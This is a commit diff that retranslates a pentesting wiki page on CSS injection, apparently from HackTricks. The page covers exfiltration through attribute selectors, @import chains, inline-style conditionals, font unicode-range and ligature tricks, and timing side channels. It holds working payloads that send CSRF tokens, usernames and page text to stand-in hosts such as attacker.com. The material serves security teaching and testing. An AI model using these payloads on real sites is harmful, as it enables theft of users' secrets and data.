Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']

This commit is contained in:
Translator 2025-08-29 00:18:20 +00:00
parent c4a06c195e
commit 82e50c12b5

View File

@ -1,12 +1,12 @@
# CSS 注入
# CSS Injection
{{#include ../../../banners/hacktricks-training.md}}
## CSS 注入
## CSS Injection
### 属性选择器
CSS 选择器被设计用来匹配 `input` 元素的 `name``value` 属性的值。如果输入元素的值属性以特定字符开头,则加载预定义的外部资源:
CSS 选择器被构造为匹配 `input` 元素的 `name``value` 属性的值。如果 `input` 元素的 `value` 属性以特定字符开头,则会加载预定义的外部资源:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
然而,这种方法在处理隐藏输入元素(`type="hidden"`)时面临限制,因为隐藏元素不会加载背景。
然而,这种方法在处理隐藏输入元素(`type="hidden"`)时存在一个限制,因为隐藏元素不会加载背景。
#### 绕过隐藏元素的限制
#### Bypass for Hidden Elements
了绕过这个限制,您可以使用 `~` 一般兄弟组合器来定位后续兄弟元素。然后CSS 规则适用于所有在隐藏输入元素之后的兄弟元素,从而导致背景图像加载:
绕过此限制,您可以使用 `~` 通用兄弟选择器 (general sibling combinator) 定位后续的兄弟元素。该 CSS 规则随后会应用于所有位于 hidden input 元素之后的兄弟元素,从而导致背景图像加载:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
一个利用此技术的实际例子在提供的代码片段中详细说明。您可以在 [这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) 查看。
关于利用该技术的一个实际示例已在提供的代码片段中详细说明。您可以在[这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)查看。
#### CSS 注入的先决条件
#### CSS Injection 的先决条件
为了使 CSS 注入技术有效,必须满足某些条件:
要使 CSS Injection 技术有效,需要满足某些条件:
1. **有效负载长度**CSS 注入向量必须支持足够长的有效负载,以容纳精心制作的选择器。
2. **CSS 重新评估**:您应该能够框架页面,这对于触发使用新生成的有效负载重新评估 CSS 是必要的。
3. **外部资源**:该技术假设能够使用外部托管的图像。这可能会受到网站内容安全策略 (CSP) 的限制。
1. **Payload Length**: CSS Injection 向量必须支持足够长的 payload以容纳构造的选择器。
2. **CSS Re-evaluation**: 您应当能够将页面嵌入 iframe这对于触发 CSS 针对新生成 payloads 的重新评估是必要的。
3. **External Resources**: 该技术假设可以使用外部托管的图片。这可能会被站点的 Content Security Policy (CSP) 限制。
### 盲属性选择器
### Blind Attribute Selector
正如 [**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器 **`:has`** 和 **`:not`** 来识别盲元素中的内容。这在您不知道加载 CSS 注入的网页内部内容时非常有用。\
可以使用这些选择器从多个相同类型的块中提取信息,例如:
正如[**此文所述**](https://portswigger.net/research/blind-css-exfiltration),可以将选择器 **`:has`** 和 **`:not`** 结合使用来识别来自盲元素的内容。当你不知道加载 CSS injection 的网页内部有什么时,这非常有用。\
可以使用这些选择器从多个相同类型的块中提取信息,例如:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -52,59 +52,95 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
结合以下的 **@import** 技术,可以从盲页中通过 **CSS 注入提取大量信息**,使用 [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)****
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
之前的技术有一些缺点,请检查先决条件。你要么需要能够 **向受害者发送多个链接**,要么需要能够 **iframe CSS 注入漏洞页面**。
前一种技术有一些缺点,参见先决条件。你要么需要能够 **向受害者发送多个链接**,要么需要能够 **iframe the CSS injection vulnerable page**。
然而,还有另一种巧妙的技术,使用 **CSS `@import`** 来提高技术的质量
不过,还有另一种巧妙的方法使用 **CSS `@import`** 来提高该技术的效果
首先由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) 展示,其工作原理如下:
最早由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) 展示,其工作原理如下:
我们将 **只加载一次页面,并仅通过导入到攻击者的服务器**(这是发送给受害者的有效载荷)。
与其每次加载相同页面并反复使用数十个不同的 payload像前面那种方法我们将**只加载页面一次,并仅包含一个指向攻击者服务器的 import**(这就是要发送给受害者的 payload
```css
@import url("//attacker.com:5001/start?");
```
1. 导入将会**接收一些来自攻击者的CSS脚本**,并且**浏览器将加载它**
2. 攻击者发送的CSS脚本的第一部分是**另一个`@import`到攻击者的服务器**。
1. 攻击者的服务器尚未响应此请求,因为我们想要泄露一些字符,然后用有效负载响应此导入以泄露下一个字符。
3. 有效负载的第二部分和更大部分将是**属性选择器泄露有效负载**。
1. 这将向攻击者的服务器发送**秘密的第一个字符和最后一个字符**。
4. 一旦攻击者的服务器接收到**秘密的第一个和最后一个字符**,它将**响应步骤2中请求的导入**
1. 响应将与**步骤2、3和4**完全相同,但这次它将尝试**找到秘密的第二个字符,然后是倒数第二个**
1. 该 import 将会从攻击者接收一些 CSS 脚本,浏览器会加载它
2. 攻击者发送的 CSS 脚本的第一部分是 **另一个 `@import` 再次指向攻击者的服务器。**
1. 攻击者的服务器暂时不会响应此请求,因为我们想先 leak 一些字符,然后用 payload 响应这个 import 以泄露下一个字符。
3. payload 的第二个、更大的一部分将是一个 **attribute selector leakage payload**
1. 这会发送到攻击者服务器 **秘密的第一个字符和最后一个字符**
4. 一旦攻击者服务器收到 **秘密的第一个和最后一个字符**,它将 **响应第 2 步中请求的 import**
1. 响应将与 **步骤 2、3 和 4** 完全相同,但这次它会尝试 **找到秘密的第二个字符和倒数第二个字符**
攻击者将**遵循这个循环,直到完全泄露秘密**
攻击者将**沿着该循环直到完全 leak 出秘密**
您可以在这里找到原始的[**Pepe Vila的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以在这里找到几乎[**相同的代码但有注释**](#css-injection)。
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
> [!NOTE]
> 脚本将尝试每次发现2个字符从开头和结尾因为属性选择器允许做如下事情
> [!TIP]
> 该脚本每次会尝试发现 2 个字符(从开始和结束),因为 attribute selector 允许做像下面这样的匹配
>
> ```css
> /* value^= 匹配值的开头 */
> /* value^= to match the beggining of the value*/
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= 匹配值的结尾 */
> /* value$= to match the ending of the value*/
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> 这使得脚本能够更快地泄露秘密。
> 这使脚本能够更快地 leak 出秘密。
> [!WARNING]
> 有时脚本**无法正确检测到前缀+后缀发现的已经是完整的标志**,它将继续向前(在前缀中)和向后(在后缀中),并在某个时刻会挂起。\
> 不用担心,只需检查**输出**,因为**您可以在那里看到标志**。
> 有时脚本 **无法正确检测到已发现的 prefix + suffix 已经是完整的 flag**,它会继续向前(在 prefix和向后在 suffix最终可能会挂起。\
> 别担心,只需检查 **output**,因为 **你可以在那里看到 flag**
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
> [!WARNING]
> 在 if() 中进行相等比较时,字符串字面量必须使用双引号。单引号不会匹配。
- Sink: 控制一个元素的 style attribute并确保目标属性位于同一元素上attr() 仅读取同一元素的属性)。
- Read: 将属性复制到 CSS 变量:`--val: attr(title)`.
- Decide: 使用嵌套条件比较变量与字符串候选项来选择 URL`--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: 应用 `background: image-set(var(--steal))`(或任何会发起请求的属性)以强制对所选端点发起请求。
Attempt (does not work; single quotes in comparison):
```html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```
有效 payload比较时必须使用双引号
```html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```
使用嵌套条件枚举属性值:
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
真实演示(探测用户名):
```html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
```
Notes and limitations:
- 在研究时适用于 Chromium-based 浏览器;在其他引擎上的行为可能不同。
- 最适用于有限/可枚举的值空间IDs、flags、短用户名。在没有外部样式表的情况下窃取任意长字符串仍然具有挑战性。
- 任何会获取 URL 的 CSS 属性都可以用来触发请求(例如 background/image-set、border-image、list-style、cursor、content
自动化Burp Custom Action 可以生成嵌套的 inline-style payloads 来暴力破解属性值https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### 其他选择器
使用**CSS选择器**访问DOM部分的其他方法
使用 **CSS selectors** 访问 DOM 部分的其他方法:
- **`.class-to-search:nth-child(2)`**这将搜索DOM中类为"class-to-search"的第二个项目。
- **`:empty`**选择器:例如在[**这个写作中**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用:**
- **`.class-to-search:nth-child(2)`**:这将在 DOM 中查找具有类名 "class-to-search" 的第二个元素
- **`:empty`** 选择器:例如在 [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
@ -114,9 +150,9 @@ background-image: url("YOUR_SERVER_URL?1");
### 基于错误的 XS-Search
**参考:** [基于CSS的攻击滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)[基于错误的XS-Search PoC由@terjanq提供](https://twitter.com/terjanq/status/1180477124861407234)
**参考:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
总体意图是**使用来自受控端点的自定义字体**,并确保**文本(在这种情况下为'A')仅在指定资源(`favicon.ico`)无法加载时使用此字体显示**
总体目的是 **从受控端点使用自定义字体**,并确保 **文本(在本例中为 'A')仅在指定资源 (`favicon.ico`) 无法加载时才使用该字体显示**
```html
<!DOCTYPE html>
<html>
@ -138,49 +174,49 @@ font-family: "poc";
</body>
</html>
```
1. **自定义字体使用**
1. **自定义字体用法**:
- 自定义字体通过在 `<head>` 部分的 `<style>` 标签中使用 `@font-face` 规则定义
- 字体命名为 `poc`,并从外部端点获取`http://attacker.com/?leak`)。
- `unicode-range` 属性设置为 `U+0041`,目标是特定的 Unicode 字符 'A'。
- 一个自定义字体是使用 `@font-face` 规则在 `<style>` 标签内的 `<head>` 部分定义的
- 字体命名为 `poc`,并从外部端点(`http://attacker.com/?leak`获取
- `unicode-range` 属性被设置为 `U+0041`,针对特定的 Unicode 字符 'A'。
2. **带有后备文本的对象元素**
- 在 `<body>` 部分创建一个 `id="poc0"``<object>` 元素。该元素尝试从 `http://192.168.0.1/favicon.ico` 加载资源。
- 此元素的 `font-family` 设置为在 `<style>` 部分定义的 `'poc'`
- 如果资源(`favicon.ico`加载失败,则在 `<object>` 标签内显示后备内容(字母 'A'
- 如果无法加载外部资源,后备内容('A')将使用自定义字体 `poc` 渲染。
2. **带回退文本的 Object 元素**:
- 在 `<body>` 部分创建一个 `id="poc0"``<object>` 元素。该元素尝试从 `http://192.168.0.1/favicon.ico` 加载资源。
- 该元素的 `font-family` 被设置为 `'poc'`,如 `<style>` 部分所定义
- 如果资源(`favicon.ico`未能加载,`<object>` 标签内的回退内容(字符 'A')将被显示
- 如果无法加载外部资源,回退内容('A')将使用自定义字体 `poc` 渲染。
### 样式滚动到文本片段
### 为 Scroll-to-Text Fragment 添加样式
**`:target`** 伪类用于选择由 **URL 片段** 定位的元素,如 [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 中所述。重要的是要理解,`::target-text` 只有在文本被片段明确定位时才会匹配任何元素
使用 **`:target`** 伪类来选择被 **URL 片段** 定位的元素,正如 [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 所述。需要注意的是,`::target-text` 不会匹配任何元素,除非文本被片段显式定位
当攻击者利用 **滚动到文本** 片段功能时,会出现安全隐患,这使他们能够通过 HTML 注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入如下 CSS 规则:
当攻击者利用 **Scroll-to-text** fragment 功能时,会产生安全问题:他们可以通过 HTML injection 注入规则,从而通过从其服务器加载资源来确认网页上是否存在特定文本。该方法涉及注入如下 CSS 规则:
```css
:target::before {
content: url(target.png);
}
```
在这种情况下,如果页面上存在文本“Administrator”则会从服务器请求资源 `target.png`,这表明该文本的存在。此攻击的一个实例可以通过一个特殊构造的 URL 执行,该 URL 嵌入了注入的 CSS 以及一个 Scroll-to-text 片段
在这种情况下,如果页面上存在文本 "Administrator",则会向服务器请求资源 `target.png`,从而表明该文本的存在。该攻击的一个实例可以通过一个专门构造的 URL 执行,该 URL 将注入的 CSS 与 Scroll-to-text fragment 一起嵌入
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
这里,攻击利用 HTML 注入来传输 CSS 代码,针对特定文本 "Administrator" 通过 Scroll-to-text fragment (`#:~:text=Administrator`)。如果找到该文本,则加载指示的资源,无意中向攻击者发出其存在的信号
在此,攻击者操纵 HTML 注入 来传输 CSS 代码,利用 Scroll-to-text fragment (`#:~:text=Administrator`) 针对特定文本 "Administrator"。如果找到该文本,就会加载指定资源,因而无意中向攻击者表明其存在
缓解,以下几点应注意
为缓解,应注意以下几点:
1. **受限的 STTF 匹配**Scroll-to-text Fragment (STTF) 仅设计用于匹配单词或句子,从而限制其泄露任意秘密或令牌的能力。
2. **限制在顶级浏览上下文中**STTF 仅在顶级浏览上下文中操作,不在 iframe 内部工作,使任何利用尝试对用户更为明显
3. **用户激活的必要性**STTF 需要用户激活手势才能操作,这意味着利用仅通过用户发起的导航才可行。这一要求大大降低了攻击在没有用户交互的情况下自动化的风险。然而,博客作者指出了特定条件和绕过方法(例如,社会工程学,与流行浏览器扩展的交互),可能会简化攻击的自动化。
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) 被设计为仅匹配单词或句子,从而限制其用于 leak arbitrary secrets or tokens 的能力。
2. **Restriction to Top-level Browsing Contexts**: STTF 仅在 top-level browsing contexts 中运行,在 iframes 内无效,这使得任何 exploitation 企图更容易被用户察觉
3. **Necessity of User Activation**: STTF 需要 user-activation gesture 才能生效,这意味着 exploitations 只能通过用户发起的导航实现。该要求大大降低了在无用户交互情况下自动化攻击的风险。然而blog post 的作者指出了特定条件和绕过方法(例如 social engineering、与常见 browser extensions 的交互),这些可能会简化攻击的自动化。
了解这些机制和潜在漏洞对于维护网络安全和防范此类利用策略至关重要。
了解这些机制和潜在漏洞对于维护 web security 并防范此类利用性手法至关重要。
有关更多信息,请查看原始报告:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
欲了解更多信息,请查看原始报告: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
您可以在这里查看一个 [**使用此技术的 CTF 漏洞**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
你可以查看一个 [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
您可以为特定的 unicode 值指定 **外部字体**,这些字体 **仅在页面中存在这些 unicode 值时****收集**。例如:
你可以为特定的 unicode 值 指定 **外部字体external fonts**,这些字体只有在页面存在这些 unicode 值时才会被 **获取**。例如:
```html
<style>
@font-face {
@ -206,24 +242,24 @@ font-family: poc;
<p id="sensitive-information">AB</p>
htm
```
您访问此页面时Chrome 和 Firefox 会获取 "?A" 和 "?B",因为敏感信息的文本节点包含 "A" 和 "B" 字符。但 Chrome 和 Firefox 不会获取 "?C",因为它不包含 "C"。这意味着我们能够读取 "A" 和 "B"。
你访问此页面时Chrome 和 Firefox 会请求 "?A" 和 "?B",因为 sensitive-information 的文本节点包含字符 "A" 和 "B"。但 Chrome 和 Firefox 不会请求 "?C",因为它不包含 "C"。这意味着我们已经能够读取 "A" 和 "B"。
### 文本节点外泄 (I):连字 <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**参考:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
所描述的技术涉及通过利用字体连字并监控宽度变化来提取节点中的文本。该过程包括几个步骤:
该技术通过利用 font ligatures 并监测宽度变化,从节点中提取文本。该过程包含多个步骤:
1. **创建自定义字体**
1. **Creation of Custom Fonts**:
- SVG 字体是通过具有 `horiz-adv-x` 属性的字形制作的,该属性为表示两个字符序列的字形设置了较大的宽度。
- 示例 SVG 字形:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中 "XY" 表示一个两个字符的序列。
- 使用包含 `horiz-adv-x` 属性的 glyph 创建 SVG 字体,`horiz-adv-x` 为表示两个字符序列的 glyph 设置很大的宽度。
- 示例 SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中 "XY" 表示一个两个字符的序列。
- 然后使用 fontforge 将这些字体转换为 woff 格式。
2. **检测宽度变化**
2. **Detection of Width Changes**:
- 使用 CSS 确保文本不换行(`white-space: nowrap`)并自定义滚动条样式。
- 水平滚动条的出现样式独特作为指示器oracle表明文本中存在特定的连字因此存在特定的字符序列
- 横向滚动条的出现样式特殊充当指示器oracle表明某个特定 ligature从而某个特定的字符序列存在于文本中
- 涉及的 CSS
```css
body {
@ -237,30 +273,30 @@ background: url(http://attacker.com/?leak);
}
```
3. **利用过程**
3. **Exploit Process**:
- **步骤 1**:为具有较大宽度的字符对创建字体。
- **步骤 2**:使用基于滚动条的技巧来检测何时渲染大宽度字形(字符对的连字),指示字符序列的存在。
- **步骤 3**:在检测到连字后,生成表示三个字符序列的新字形,包含检测到的对并添加前导或后续字符
- **步骤 4**:进行三个字符连字的检测。
- **步骤 5**:该过程重复,逐步揭示整个文本。
- **Step 1**: 为字符对创建具有大宽度的字体。
- **Step 2**: 使用基于滚动条的技巧检测何时渲染了大宽度的 glyph字符对的 ligature从而指示该字符序列存在。
- **Step 3**: 检测到 ligature 后,生成表示三字符序列的新 glyph将已检测到的字符对与前置或后置字符组合
- **Step 4**: 对三字符 ligature 进行检测。
- **Step 5**: 重复该过程,逐步揭示整个文本。
4. **优化**
- 当前使用 `<meta refresh=...` 的初始化方法并不理想。
- 更有效的方法可能涉及 CSS `@import` 技巧,提高利用的性能。
4. **Optimization**:
- 当前通过 `<meta refresh=...` 初始化的方法并不理想。
- 更高效的方法可以利用 CSS 的 `@import` 技巧,以提升 exploit 的性能。
### 文本节点外泄 (II):使用默认字体泄露字符集(不需要外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
这个技巧在这个 [**Slackers 线程**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) 中发布。文本节点中使用的字符集可以 **使用浏览器中安装的默认字体** 泄露:不需要外部或自定义字体。
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). 文本节点中使用的 charset 可以使用浏览器中已安装的默认字体 leak:不需要外部或自定义字体。
该概念围绕利用动画逐步扩展 `div` 的宽度,使一个字符一次性从文本的“后缀”部分过渡到“前缀”部分。这个过程有效地将文本分成两个部分:
其原理是利用动画逐步扩大一个 `div` 的宽度,使得字符一个接一个地从文本的 'suffix' 部分移动到 'prefix' 部分。该过程将文本有效地拆分为两部分:
1. **前缀**初始行。
2. **后缀**:后续行。
1. **Prefix**: 初始行。
2. **Suffix**: 随后的一行或多行。
字符的过渡阶段如下所示:
字符的过渡阶段如下所示:
**C**\
ADB
@ -273,15 +309,15 @@ B
**CADB**
在此过渡期间,**unicode-range 技巧**被用来识别每个新字符,因为它加入前缀。这是通过将字体切换到 Comic Sans 来实现的,后者明显比默认字体高,从而触发垂直滚动条。这个滚动条的出现间接揭示了前缀中存在新字符
在此过渡过程中,使用了 **unicode-range trick** 来识别每个加入 prefix 的新字符。实现方式是将字体切换为 Comic SansComic Sans 明显比默认字体更高),从而触发垂直滚动条。该滚动条的出现间接地揭示了 prefix 中新字符的存在
尽管这种方法允许检测到独特字符的出现,但并未指定哪个字符被重复,仅仅表明发生了重复。
尽管此方法可以检测到出现的唯一字符,但无法指明哪个字符被重复,只能表明发生了重复。
> [!NOTE]
> 基本上,**unicode-range 用于检测字符**,但由于我们不想加载外部字体,我们需要找到另一种方法。\
> 当 **字符****找到** 时,它被 **赋予** 预安装的 **Comic Sans 字体**,这使得字符 **变大****触发滚动条**,这将 **泄露找到的字符**
> [!TIP]
> 基本上,**unicode-range 是用来检测字符的**,但因为我们不想加载外部字体,所以需要另寻他法。\
> 当**字符****找到** 时,会将其赋予预装的 **Comic Sans** 字体,这会使该字符**变大**并**触发滚动条**,从而**leak 所找到的字符**
检查从 PoC 中提取的代码:
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### 文本节点外泄 (III):通过隐藏元素泄露字符集,使用默认字体(不需要外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** 这在 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) 中提到
这个案例与之前的非常相似,然而,在这个案例中,特定字符比其他字符更大的目标是**隐藏某些东西**,例如一个按钮,以防被机器人点击,或者一个不会被加载的图像。因此,我们可以测量这个动作(或缺乏动作),并知道特定字符是否存在于文本中。
这个情况与前一种非常相似,不过这里的目标是通过让特定 **chars 比其他字符更大以隐藏某些东西**,例如一个不会被 bot 点击的按钮或一个不会被加载的图片。这样我们可以测量该操作(或未发生的操作),从而判断某个特定的 char 是否出现在文本中。
### 文本节点外泄 (III):通过缓存时间泄露字符集(不需要外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** 这在 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) 中提到
在这个案例中,我们可以尝试通过从同一来源加载一个假字体来泄露字符是否在文本中
在这种情况下,我们可以尝试通过从 same origin 加载一个 fake font 来 leak 文本中是否包含某个 char
```css
@font-face {
font-family: "A1";
@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
如果匹配成功,**字体将从 `/static/bootstrap.min.css?q=1` 加载**。虽然它不会成功加载,但**浏览器应该缓存它**,即使没有缓存,也有**304未修改**机制,因此**响应应该比其他内容更快**
如果有匹配,**font will be loaded from `/static/bootstrap.min.css?q=1`**。虽然它不会成功加载,**browser should cache it**,即使没有 cache也有 **304 not modified** 机制,所以 **response should be faster** 比其他资源要快
然而,如果缓存响应与非缓存响应的时间差不够大,这将没有用。例如,作者提到:然而,经过测试,我发现第一个问题是速度没有太大差别,第二个问题是机器人使用了 `disk-cache-size=1` 标志,这真的很周到
然而,如果缓存的 response 与未缓存的 response 的时间差不够大,这就没什么用。例如,作者提到:经过测试,我发现第一个问题是速度差别不大,第二个问题是 bot 使用了 `disk-cache-size=1` 标志,这确实很用心
### 文本节点外泄 (III):通过定时加载数百个本地“字体”(不需要外部资源)泄露字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
在这种情况下,当发生匹配时,您可以指示**CSS从同一来源加载数百个假字体**。这样,您可以**测量所需的时间**,并找出某个字符是否出现,方法如下
在这种情况下,当发生匹配时,你可以指示 **CSS to load hundreds of fake fonts** 从同一源加载数百个伪造字体。通过这种方式,你可以 **measure the time** 所需时间,并用类似下面的方法判断某个字符是否出现
```css
@font-face {
font-family: "A1";
@ -741,19 +777,25 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
unicode-range: U+0041;
}
```
机器人的代码如下:
机器人的代码如下:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
因此,如果字体不匹配,访问机器人时的响应时间预计约为 30 秒。然而,如果字体匹配,将会发送多个请求以检索字体,导致网络持续活动。因此,满足停止条件并接收响应所需的时间将更长。因此,响应时间可以作为判断是否存在字体匹配的指标。
因此,如果字体不匹配,访问 bot 时的响应时间预计约为 30 秒。然而,如果字体匹配,会发送多个请求来检索字体,导致网络持续活动。结果是满足停止条件并收到响应需要更长时间。因此,响应时间可以用作判断字体是否匹配的指标。
## 参考文献
## References
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
